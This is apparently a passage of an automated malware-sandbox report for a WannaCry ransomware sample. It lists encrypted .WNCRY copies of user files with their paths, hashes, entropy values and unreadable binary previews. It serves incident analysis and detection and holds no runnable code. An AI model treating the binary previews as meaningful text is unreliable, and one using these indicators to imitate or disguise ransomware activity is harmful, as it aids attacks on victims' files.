                                                                                                      Preview:WANACRY!.....()e.......~H:.t>.?tZ...@..V.q..7...d}%.!..y...^..>X.,[M..$....?...Z..`....~'O+.S.`LP.Q.u.E.#.........&...9i...B ..Q........@.z...{..4k.kV.vF......n..EJ.?`.3.'#{.Lr....-.[..(.J...S....10x.....6.J.N.1L...I...$.m....t...Ni.Y1.]..<............U..............H....k ..v$..+.X..0U.vo>.c..]w....... .....AH.l.....yk..O.e.~k_L..*S....v..!%WV..*..2..V[w~....).H....L.fl..Y./..w.......}.....6z`}T..6.....pk@E.<.....&....E'HD}C.d#..O..2G.0...........A...+.....s...{..6....U.l./#.'<.w.#.....6.+.w....>..u.2..i.f...v._.4Z...~...r7e.g...#B......1X..h....*p....k.K.X<..c.=..+MIQ...y2..y.......#.5&..vF...b.}?9].........L8.0/..j.(.N.X..I..5...k.....k.....U.|1..n.=N..`B5W.......\.....s..s]J.O....,...R..0T.u.o.<D...l.6.7.ro......@HE.b....[*-@....B....9..d..y.v..58...x..o..f<.G..@A...|ls...........vI.......r.7M.........c/.7...Z...>f....wah..S.E.!./n.s.E5 ...FYb.......&;>.....fs:.~[..>...b.+.....x`..NX.&n.s.>T.$KQcC..# .q8..y.....0.P.U.B..T=.......<*.^.?q.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.869445582790936
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyr6wNsJ88ZjtHZHB5gGx5K/YLIIXWBXj9VG9SPeZQbumXRZp4dKQ:bkyuwNv8LHZHB7x5K/6w9V7bu+tdQ
                                                                                                      MD5:C0C73641FC4C925A93C041F06D6F724B
                                                                                                      SHA1:AA727784F74B08280A58694D61D58F334C49D2FE
                                                                                                      SHA-256:40C616565135D41C44203D4C646FE25C5B61E3FA07EECFE70DF095A4655B825A
                                                                                                      SHA-512:82D74A714C3F2EE39D82F60745522E2A66DF7FE7DCBBF3967146417A3647ACCFBA31C674B3DC891A4DAD0FD1B076AAF5AF6C8B44BCC7D0CC5F2E7FABFDBA56A1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........x~.e...NW.g..<..9.b.;...F..F.....Y.R.$T>...P.._.._..b.\.T..8.v....t.{.Gc.,..Rl.r.2-...mKLV..~^daoK 7I@!.b.3a.....u.[.. ....x...%..o.E...S...]<|......!..VjF.5...l..R..}..g...3.ZZ..D....d....u...T.<.'.E..CN..b..^.3.0.y..I."...s1;...q#....q...............~. .{.K,....=As{&.....~......WCX.;.. .GT`b.7.}&3......]f..g@........et.Ew.ib.A..dW. ..E.r.~._...".....WQ..a.fh..O..?...'Y.#..#....c..):E.9.v....Q."6...... h...Pa.&.x."h-....-.....G.D...7.p....WC!....h.....2N}.Qh...E...P..^.[..?;...[.cw.....Q..DR..!...b...2......K.V?.3v...X...7L..6..[.B-..#.....O`.......*%N...?.`|v.B.Vw.....6..5...$s.!.....B..[..qo.S.....H..=.l.!.PY.,.K.l.....bA>.u.. r.....))...rRgWJ.zf<fr....B...!d=.fyG.w~..)...bS..J....z.\sO9PP.L.$....y0.a*..BW.ei..)w~8...{.^.\.#.d...o9.....j.J...d=.s..S..7..G....}.N~c..e.Qc...c?......f.c."..f.U..V,yE...e..N..4.......5.+;.........q......#...`.T.v.SL..GYO.8.lV1..M...&$.T...H[.X....W..B...Z.%...j...]O.LJ.....^.u.Er.@..(..IFm8..a

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.867598777653416
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkmsish93mnvlIyAAL80wmndMjQysNaY1At82WE3kwHTtcLONQiTzBCwx/:bklisbuIfw8UndMjMtAtAwqS9Hjx/
                                                                                                      MD5:C5290045B5B2C3AA52E0618E40FCF367
                                                                                                      SHA1:FB67F9CDA8E7B60EB73CEAA6DA8D6CCA30047704
                                                                                                      SHA-256:CC1F95A1F782951056A5760F7E933A0E6B36C6A0D4BECEBDACD1A7F9907336E6
                                                                                                      SHA-512:69FFE30F5821141AD7F670FC4E84DB62B82B510B39A2772DD89FDE56EBD7CA4CBDC0732C27889B73DAF316AA316A62A3773437462DED4AB4F1445CA3E856CC48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....xr.{..M.)w..^.+q..pR. .......:.m....mT.f.L.....e....q..e..@.a`0R.%......Q..9...s5..ia..h.o.'p.....P...yz.~..Aj.9./.W.D...7.8*ZV.=........@.c......4..T.5.......g...h%.......Y.....F..6..1.U.F..:g......K].V.cw.....9.D(..a2.9"7.5V\...y...................fX..B.N...&......J.-.p.o.od..C.5.t.z...#`.......l..f(.p..H..Y... ]...eR.9...D@4H.%}{I..nG.0!....`.?.....%..@..3=.#].:.!....K..Z....;....nFT..5.}..Z=..{...3.......N..g?..Y.......\+..]....Vk.xWK..........nsC^..Z........)_.y..jb.S.......3Mw..>.Q'a..;...i_Hs>..L..b...M.o........r^n.....OY/...Y.#.<.[-_............N.YJ...ev.K%l....P.h.&.WF.$..-..hJ.#...v.....|.X..w.+Y.i.Z$.R..!..;..\...7Ox.7.i.9.>G..:.....pUHW.sg..^.....S.A....$.O......%...!..P......h...OpW.;.9.....5.s.a.rP....u..")..RB1x....Y_ZY...8*K..u....E..-.2.m-..fT..(..t..;....M.&...80...6..b.u...".1Z.mQ.. !..6\..]....K*.4.|!..........Z.^.EG..+..?.d.(k}..Zf.E...<Nc.O<....e@..\...AlM8...(S.B..M...;W....t...qu.~,&.*..

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8293195297831195
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4Y1I/Wyfg9zg3ZBVlXgF3RRcsCePmjkcWS/8PEDM9E15Jf2DyHpXI4gnKsOe+v:bk4Z1fwM3hiIsCePqkc7/2Eg9EpLJmeH
                                                                                                      MD5:370687D71848546DBDFB5CB448ADC779
                                                                                                      SHA1:50FA797C4ABC5C96782730ECC4832A5927C9626C
                                                                                                      SHA-256:3F9AE34CC86AC52520A0296691AB02244D46F720869903BA9CE8F1F189EF9FA4
                                                                                                      SHA-512:C1891AE4FE209C8E1A83FF9D2A93978BFADF8A244D5CBF025FEDAB077CCE29EDF5845909A431CF07CA0535D287027F1EE3A72A2C165B17B9B6DFBBCA5DC31F9A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......|.....7.o.6yM.u.0....tY3.....-$.q.1PQ...6.h7A.w.xs...:M.T.......@......Z.<.......(=B5.J0.h..O......:|....j.5.\.....U............G.`.....8u.Y.3D.v>.u.3?=...UY.....q.T.........\Y......L..T.3o1Lp..F.F.*........./.gE...wf.&.P'?-|H..[.X...k.mSQ..............W].C..8..z..c.Y.M..dL}Z{.....%w.....-.6.4.{......M.@.:.NS.b.L..)cX..C...Ov.D...p.o..#}.....)...'.......=._..G0W\.:n3A.I....na.^....:..A..s.....D.....W....'.%.1.6.Cj..K.M~*.<w..F.@..c_.....KG..ZV9FJ...>.!......@..dI.%....'{.*.x...h....R.*.-...../ ..C..7#..].>.!~.}.Iv.zv^a&..j.p.......;.....A.[.a.......[.K..w......G9R2.GJG...|......Bt6,+.A[.k.)0K..g..g../...%.u......a8..tM.*..2..08.7...|../p..*....S.%n.....[.(..|k|NW~u.N.>r.y.....o.h....w.<*>.}....WaCw...W.y..y..O6...9.........-.D.3.th$0F..u.V....n.+*..:.{`~..6m..8......6...H..L...ud....V]~+..X.....jeqz...aD....Y....o.5./.....D."........tM..-..iF...........8K{.O.HyD...g...U!.j....E<.o..=.\#R.EP...>666....7HY.............^.q.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):21400
                                                                                                      Entropy (8bit):7.991798201117121
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:KzOCSZLgquYGz5kkXQkJHBquTdQOLUXKHf8p1zzx0HI1jKQHdq5C/bwqivZpCWEx:YEZLgquYV0JHHwKUp1iI1jKQ//bliv72
                                                                                                      MD5:9931800570210561596393239A08E6A5
                                                                                                      SHA1:B0017B331BC0559D62B10A3642DD4B26DAF99650
                                                                                                      SHA-256:02CEB7213BDD970FC1DCF943E8AD23FDBD1BBCFA32AB9EC5E290DE2F139F0BA7
                                                                                                      SHA-512:FE89673D7B968962A4226E7DBE0E94BADBE8C01734F075BD7FD6E05FAAC52DEEF895308A768505CC1E39B6AC123E41AD75AC625CEE8C9F48725BDEC830057CAE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......?q4...#)B...;..z..v.}U.p.2.rC.......h./..-.N.'z....^.=]y.x...(6{x. ^i.z.X`.......`....` G.Z.tP....M..P....T}Q.Y.K&.\.ap....d..B..]..Y2..x..e.G..=..\..+31O<.4F.A7.D...t.d.3.y......f.....).....$....UXa6..x.HC...M....}............O.k.-.Db@j.....sR........Z.F|.......r.......s.$..7....ID\....R.VH...$T..Y."..Vtz....a...2.1%.YC.@RECRh..._.\.t^.v....qJ....V....|..?..[.._...dw..mn]o!.{k..u..t....d......K.=.L=.(SZ8..v....B.R./G.......\....yN....2..8D...?Y.e......Y.|.[...h.W.F.x.6.u.z..xX...<.....N.Q.7.j=M.rj..H..(....c..x......x.F.......W...QS=._:..?..+X.y...q(R.Po0....g<...H.Jr..X...N?.Xi.ag..k.>.M.N.....B.I.p...p..Q...*...X.[..[....W.....a.V....w*.-.*..^........cc..T..5n...3..#..m......`...M...\..%...^.\".I..~m.....\V .&.;!0lX.*N...;.>.y..hu..K`?..L...s..Q.....^L...)..Zr{...M.+]>J..z....z...........J........S*}..pr....n..wH......}9(.....E.ed]..U...S.....b.e.....^..k!....y...3?...M.S......G-.u..:#..).'....&..r...>.N..$5b.0.....F!Jm@

                                                                                                      C:\Documents and Settings\user\Downloads\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.860183799360276
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkfZUoCqFrho7E7th/PFaor9iCuZr+h9WbtQXoFF3pHj1LOUBG47BJZ+Esu7l:bkfWXKooDPtUCuZr+XW6XoFF95OQGYZL
                                                                                                      MD5:3EB2917B4A99303EB24F8A880FAE47A7
                                                                                                      SHA1:79BD11C135AC516FBAB3C22C7BFDD71C3E89DC87
                                                                                                      SHA-256:66C154E51EB68B3F687F7A3990271EBB2D871D3DB4A1AFA3E941094FFF78F625
                                                                                                      SHA-512:1EEF5111BF518761A9BAD43C225EF1CC52DC046F57BA16F360DF61FE0A262D3FDCB659D95E56223B3516E727EC0C5D8261F412E31FFEDA09934CF3AFECB52E67
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........1A...0.2.`.bQ.ib..l!.W.E?..... _B....o.....=<....bE...Ra..1...P.....`2..-..j.....y1...[.{J}..&Y.\,....j......R..@..#._...G.If-F-..z...:..g.]G..5#.c...9Q...^.......qr.&..o.{K..r...#/....D......0.u.U....6..v8#_X./...t....w......P........Z(................V.......c...G..!.K.Zd.#.3^%.......\]...1.1..W.c...".z.-|3.z.zd.%.ri["..........6....n..h E\......%...7b53.....=Ymx.r...0!........r.Y.K..><S.A|.+Z......A?_s"q.kSF......9.aZ..Qf.../kJ..).S..V::.j..EI....D..ZG..m.9..~fD.B.~..m.l....D.j........8@..U.&>.%5....<q(G$......yY<.;npB.....W|U.S_.b...n7 ....w...;..M.[..RC..x.y.8.......ni.....C... .N[..E...L.....ke..Y%~...O..$(...-? v:>....g.h.J?....h.gPe..W.[.n.y4..'....B..d}w...qOc.Hd.#......u.<...J..p.{rKOL...-F..~....>p.{..V..........s.a.F..V!.i...4.(.:.5p.!...h.>#.f...."...{Z...C...~ .77E.Q.~..H{.Uc.P..b..}R.F..... ....#..}S..5@...~...".Jb..X.o.).8............:A*W.P#.b!-.O.RR..z%...T.%z1>...}.f.sv[ 9..R.s.@..+.......^.....U

                                                                                                      C:\Documents and Settings\user\Downloads\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859319804776305
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyMPZhbGKoZkfW7PFplWGkAvf8bIzCYJcN6ABt662wtVMz5y/3yXu3I:bkyyhbx+kebFpUAvw5YeNZ12ng/yXF
                                                                                                      MD5:E2E5A2A3AC13450474471A1D3ABEDC82
                                                                                                      SHA1:4838FE0FFAC1B3108965091E4BD2E2CA04686F52
                                                                                                      SHA-256:54A05D9DEDAA119A2C5DBF933F255B78702EB93D177D8C8FF20E6104EF22396D
                                                                                                      SHA-512:AFB5CDE3634D070E2B73C7AF8B6BCAE9C02ED52434044AB5AD6EE7C24CB6708F5384B85A6EA2554F2BCDFBFCBEDB8B29CD7DF11545BC7CBF4F0742897366EF47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......P`/.g./.k+}.z.y.@R...ZCV.8...g-Y..%U..,+.....P..^.B......f8..DG"..Vq.......YN.f.0.]+..2...e$.g..R.W...F.O...0a....].....f..vB..(..8..=^..J. .3a&....UV..tpU.]..H...ATdZ,.fF>iJm-e.........~.qA;.9...I`F.u.P....S...........3wn....)..._I..)...&.K.............D..B3...U...-Z-7......Q.....po...+.........{....c....,.|.:x..."J.4..._\$iN.....D..G...:~.{.;..52&......uk*..(r&lqG.9..0.........0..=..#..`...o............$?kG..x}j...8{...~..^y.{%..y.I.I....$@6#.f..y..........%.......Gn.`..IP.8qW......C.(.."....1s.A6.......AM\..X..k.......D...w=Y..u...h.iC...q...{.....q.7R~0..ff.........h.0)..R.\...\tZ.E..|...[.q......P...v.K..........Q..x...;....J.....sY1"..$........[...NK.3.xL.../0.:.l.U..BNWyd..\..3.A.m..z].c.x.U..r~g.H..P2.n../H..tR.0.2.....i(..-..*f....;6..f.....E....7..X...w..$.@2.S..3..kYP.(..?.V..|n.n....U..lU...X......~.......F`l._o.3m..0..Tw...Aj.......|..>.@......r3yLlQ....v..{....{_.#o..u......PZ.t.D<.C .._....$.....=1`.W..)..._{.

                                                                                                      C:\Documents and Settings\user\Downloads\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845448901759014
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkKblsoVqZ3yhZ3MyTCxfeyEic0PrpD6MWCeDrSP9HbyAd14QL:bkKlJ4RyjMyk4AzzWCorSP5bpF
                                                                                                      MD5:BC186B73892A60C27840CCB06EF8BD14
                                                                                                      SHA1:55CFAC8BD9D9A424AAF682B1769F57FEAFE5609D
                                                                                                      SHA-256:A33A677C551A96324333CCADEC7BF2637F48BF9AF68C3D721F5D9D6516494817
                                                                                                      SHA-512:3A8753E8D3E81A357B6425B5A2E6499AD6E209C4460C35C41A5E46781DE195AFDF6D7404B20C5AD512E269BB6F8F8F7042AFAB1F7915EF8284C07E1A5AD6C9A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H.q..4D..J.z.gu...T.Xow.L......... `.4..G...h..\lb..o...;3..O._.H.MG..H.f....A.i..k.'.1.....g.}@..g_........5..t Z...%..!6.AO>.S....!....!R.."9BE...}.".a..W..,....;r.....f.d+.$d0..!...u.......BB.C...M3`.z_.2l.1.`..))_n..r%.B...o>...dq....9....=M...............Q1*..C.jqr......%N...H.l..tK?..'Qa\..M.>'....2?....z."..Bc.&w.q.Okj7.......,-....Q!...]........$N9.Kv.8.}...z.t.S...G..[..8|...f..O..Y....q_G.6.4. .*..@......w.P......%.....)M_v6H'.Q:.>...e[..U..0]..&f$..'..;#..[2.y....Auy..a..}@.%._.3.3..G_..1N72.Q..^=.TH..S..`...[U...z,{.u.'.y.=.C.:T.N..fI...v..].^!.w|cx..)x-..Bt.x..Bz".b.Jc..USJ.......F..(Z...B.+'.t.p.9Q...\v..gu.>....rr......1.9U."G.....U..Q`..u)...j,.6....a.....gA.6..).,3.....&x6MmU..$.....,.;......V'...q.....2L..'}...Wq...(..o.{/.....J.".,.,....m..<H.GN..t1.T...V...c^o7..)Y...(*.=.xk...g.Y>2..D..|........&.K.....~.....~/..TO.y....V.D<p...p=...X.%.>P+.k.o[.L6....&.Z...r..h.g.....o.|.=..}l...E.i_..B.O.{.r3.B......4.Y..

                                                                                                      C:\Documents and Settings\user\Downloads\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8407705119114635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzhioEFD7SrzT6yt8yEBCPx/hMYB89/o0gcQ2dMGzqWzla1dIqw9KyCgn4YEl/J:bkzJ1T6ytHEB4/hMH/o04jWzC7zkElKK
                                                                                                      MD5:421320517BDD0CC4FF9190E8E19AC855
                                                                                                      SHA1:B86C7239C042438FBF3B69B9997AEF3CAA1B2016
                                                                                                      SHA-256:75C5041C2105E36FC26902B2B46678D0F817148F31B43E0920F1CB360320BC2D
                                                                                                      SHA-512:EA4E8514EF0DB3AF7D8FDB196413DD10275C02C4E29FBB56F34EB90EB8969FFF6F802F48CE3927F8692DAAA0F1679AD5FE105B1738CE055293236D034E1A00A7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......A.]..\..u..C..4.O.....r.o?..$...<AX|....~[=...A}"b0U%T.p....@...c.C.N..|...0..Thxj.........;...............f......N#d....s|.:.U.....U%.u...B...P.E.......]..+.....A...I.F...4..#xM..J~..VX<.....{..4+...S.....).1?W....ZR..")R*T......T.6...`w}I.............I."..-^n6.D.F...X.!......k....,.V.* e|.e.Ja..Ii......+f..b....7&.eCq?..8.SjcM..Y. L....|Cs.F...o..g.....V...<Th.,(.*....r...ra....;..<...2.*. ..L;.?.~K.PZ....e.<d...7<%..4.8!..........tq.ozT...P.}2.7...U..9.X.Z.....^.....N..0b...J@p...P..!y.Y?...+..<.L.y|.y.P.N.5S#....I.p.>..[.Ht...`..........-p...m.n.]r9..?B..-`.o..qp...u...........*..".q1(...#..=.w.&.!.^".!2.o.[....-a.....9...0P....S.t.`..\.>....le.k...E...y.v.Mi.F7..e.........7K..Ae.b.C%.......F&......^EL......6v<:._...E.u.BV<...Z.L....S.V|$K.Ra..DG.....,n.........n.....J.ag.C....;.X.x.!./u;l.o.:.P.......n."...V.Jk0W...N....*.W._v.Q@...s...C...h.3>.....r.......>M~.h_..l.~..m...o.[..... {......^t....<.I4..q..W.I..lSgJV.

                                                                                                      C:\Documents and Settings\user\Downloads\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833226174690227
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bksMBI1A10ccAZlIpIZqa4qw7vSEYDAfeAiqIgJga6SumcuH0hH8hg3jg0:bksXS04l154qw7SEpeGSAH7ug0
                                                                                                      MD5:DF213AB3D30F67C9DAFEF2C9AF751BCC
                                                                                                      SHA1:3296EC6C2159E4653E3B075DDE8C5E0B1D01F290
                                                                                                      SHA-256:F2203D1FDEC8154ED05A80992A2035930A61A976CF563C3FE0039992F6F7946E
                                                                                                      SHA-512:50E6DC9F795DF472950A33272B6438727EFE5524CCF759E381F9FF95AD852205903A37C5068F622375AE85349359182AF847727229B4A63BF11E36A6D5D18BF3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e....Ke.rx.;P....l.f<-..q.4.I<"a5#;.q..?@dB..L+..4 ...DP...S.Ak=...mp...o.MGP.64.6....=$O...>.[.=.. .@.......#.;X/@..f.(.l".......w..U.&o.....7....<..\O..h...O.<.C..f......7|.....k..-.../.:.C.>L.3..G..{......1f'.@n....}..]...M}............s..............7...n5.pi.. ...]..6.ND.cR.....K.p...<S.'.*.....YueK..LxC.hH*+_...a...B(...Sr.Y.s.R=.{....fuu..Gb........A.....g]..Z...^HpK#&!K..:~.K..p...F.[#S...jm."...5.*....x.f..>=......P/.(d1.;.].P......70$%.....N.l....FD:.o...$)#...c.....rF.3..(.-...f..t...)...^w3o..}0#>]...S"....7#i...X]{N..D..=..W.%.k ..M.Pt..#..=']...i("(.l..a.Nk.@..b......d...!....3..]F...K.P....u....a.r39..........@Y.1...*...~....,.k...\.:.i....f}..^8..(rw.'^UCk..l.b.w..9.'......0'..>..,.p.30..Fp..x.C.D.&..................8D.._.......wD...S]..G..7..~.........o..O...."...V..f{9:.<m.z.~.m.<.TX..>.6tY.....d....5+..qz...[.._....G........p*.V=P.c.k..H>..e..d.IV.....Hm7.H....K.A...T.F.C.....aV.....s.hpS#~..J

                                                                                                      C:\Documents and Settings\user\Downloads\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83783005707206
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkpghVfMeQQqBBDRy3DtkV7vycMDnoUjai5MCijlcdcDnjuExrGDRxnO4z:bkCzXOrKYLytoUqlLPuEyDLOy
                                                                                                      MD5:3146A4B4B01F9AED5D87FEC4D56BFD8F
                                                                                                      SHA1:37A275F32E4496426CA37AD770C0F670166A3E20
                                                                                                      SHA-256:31B437E0EA7DED4F0F7B3614FFDCA3AB77DE7F7FB9A274341B5408252B8642F2
                                                                                                      SHA-512:E5E98B897B17F499E8E7366C7544D284D8456B7BF89F7455293F6F1A01DD7349FE3F7E5EE73405950082C52EE64A97A523EDA0D613E650B1DC96C16E05EA1A67
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....R..<t.,6.zzn..r@-=......z<l>..Y..0....bj.........$..]..1../..z..lJ^.LW}..........M.X.3.+r.}}0...s..v6Oc..Wi<g.w..}..V.D..v.bc.<.+}/...(R6..G.d.9..:.I.i..1W..]>...g.:.-TDa@.s..u.4...@9.".#->r...u..].:QK..:+........{.rK.8laj\.?..Y..>C.U"._.y.z6............Y.NT.FF.._......F.e:r....Y.j.68.(...3..aiKBZ)tJ.N..t...L......,.9..#.fD..r.....V_k.n....|u.V09O..2..........r#.|e..n..-M.fMu...$YMZ..5@.c.%....F\=.....M...i....L(......6...U...uzJ....$.+.3f....sX..W....HA..'W...m.W....?.....)...^....h..U.;b%>X..Ye_.(.\~.x.}}.....M.*.7...^Ulr.....g....Dw..(K..w..}N........_.2;.L.6.c.....+.1./k..jT..a...,!..=.~q..}.7.A...0Mlg... ...(....C....7a.r.#.{.F.8o..d..#..S..b.-....M.0.k.6...3*...u.."P.....$..90X.e..i.<c.2{my.L.i...".......<.RS..`}..xMl.+..?..q........._...y.\.K..3w.dnd,.\j.ok.x.w.......c.0Ib0.<\.6\7..n..J....A@.....5...}....o85M.......1$.iQ...)`..w....n.9.9T.d...Ly|T....|2..U...3..\....5\..=..P...Ap.T...a....F....9b..O[..G.n{!n.&.VG+

                                                                                                      C:\Documents and Settings\user\Downloads\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852831833419483
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0BjVBLTJ49EunL7DyHYxUgd9g+H0kWBRwrp2gqgweQBrpmO:bk0BjVBPJzEL0gd9gOhUWt2gqOQBrx
                                                                                                      MD5:029B14F874127CE70E9929004C39C53E
                                                                                                      SHA1:2A98E22CA3494F91EE4BEEF2A21A71ADCA01ED30
                                                                                                      SHA-256:AD7BBB93DFC242929E5C7B47B90833343840A591D0F3F75FBC81F030442FDB26
                                                                                                      SHA-512:0EC6A1CA38EBC13183AF44FB04E46F8E640CB619338FCEE1BC99BC8861E0D156DBB09CF99F93C34DDC611C3E9BD76173C7F0D05C220204E631674E97A8DA7C19
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....lJ..k(m..J.;yK..V.k<.H.P.....%y....E.I.W.....wX..9.....J..P.S......'..9..O.'.d...G.R.G`}..=.e.......U...:L..).....a.!.6yCV^.,1...0,....!4.p..ni?.......U....yV...C.y..N..I...^.].O.P.&......y.%...xJ..`z!.....W.2...d.......l0..Wi......)....x+.y...!Y............?p.GK...8RM.q......,....B#s7.."6`..h&2..Zk...."c.x{..#..GXL....q.f..j.T^.d%....`..C..@.g.lE.XR+.8...f.n..H.k....6..RV=7&?v...p...7.t......b.......>.bs.x.c..I.d`...7$.C/Z...j.(..)ja?.d.....*ILs.L]....t.$./nE...24A...u;.K......S.{OQ...9V.=.M.....X.t.Q..5.?...D....| /....hWc.{\6...o...q..*.)..>l...b.M..I........t#i-o........<...b.B.:....".........;..y...N....H..,...0.....,.b.........#r..K../m....9_.w..d;.Rpk..V.S...L.L..>.b'...q.0...5Z.>..N5..w......"'..k.T..7mA.L.b...-(kP...e..C...r/....S.w...iG.${...J<$?v.`I*C.lY=...Ur_p.:..].........7E..._.~.P..Q..Sb2%.U*D.4V.....Q.p.^.i.......'..(k...th...-.{...U.(.X.i..Kg...Vsxo.fA"....G...fwP..[.b.;}|E]..mC@.u.b.....:0.4m...s...1<l"

                                                                                                      C:\Documents and Settings\user\Downloads\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842967044372945
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkUHuffCtHEt8rLCukwc8T0VTI4HzunqMTykEdnKsTasUvlE6KaNU1Hpn:bk5t8XNT0VTI4HzunDy+sTBUvK6e5pn
                                                                                                      MD5:AD4381B6A33C2CD1BC4A971CA950BA31
                                                                                                      SHA1:167CF2BFBDF34337CC6EE7A240197DB3F329686B
                                                                                                      SHA-256:F36414649332283A4D0FEFB76F600704224CA3384575092D62CF865C78E27546
                                                                                                      SHA-512:1CEA7D219D9B94206DC273B20EFDA5B18270A2A46CA17D6DF3CE0F5EBC5438529BD9C512BF5E329CEEAC1618E1FFA11B7DC05C9D4DF8D0A11FE6F454F8CC7990
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....=.C._{..$.B.Q.t.!x.f+..7.t.....q...=.2.6........V...$.....).`p:..{7..J.....i....5...2....M....A.=D.4.S.zj....L.X...u7...Y..S..#...k...o.:..C.)F(....p.......Q;........wT..pr.T......... .....Y....~i._...2........o...W.M.\Yl...hE.W........9...S......................J..V....y.....z.@.OF..3....5'y.#....N...1......E%...W.Gbn......8....h..F0..5....$.N/:.p...._..x..Bd...D.Taw../.....r.r..<q.n.LTJ0?N..;....IeZ..P..N.C,V9.Di..._rX.W.......A.3$6.l.G...........6......T..?).T..K.].a.Uz.W.m.?C."..".....w.....4..*z....[..t.......wwi.....D..`....A...V..........l..9......lK.H....Q'.jT....(..C......*h2..nfx.?9..Ks..&K..l.Mzj<.d....r9t\DX.D..s...=....hv}.c...W....z.{,...I..}[ .$.^^'..$T...k.8..."...3R...`z.$.f...n.b.{C.%.5.0./.cz#[..:...Q.k...a%..?.b)D.}......P.N..~p.........j..."..........s2..{5u.L...f.}..0......k..5.A.{...`.....U5J..(v....(.._.....u. Q.*....-Xf..i@,....7.t.k...b...k..[.S?+v..p.G...m...!..@.=.@&}...H..?6E..L..`.I.]F.g....

                                                                                                      C:\Documents and Settings\user\Downloads\KLIZUSIQEN.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
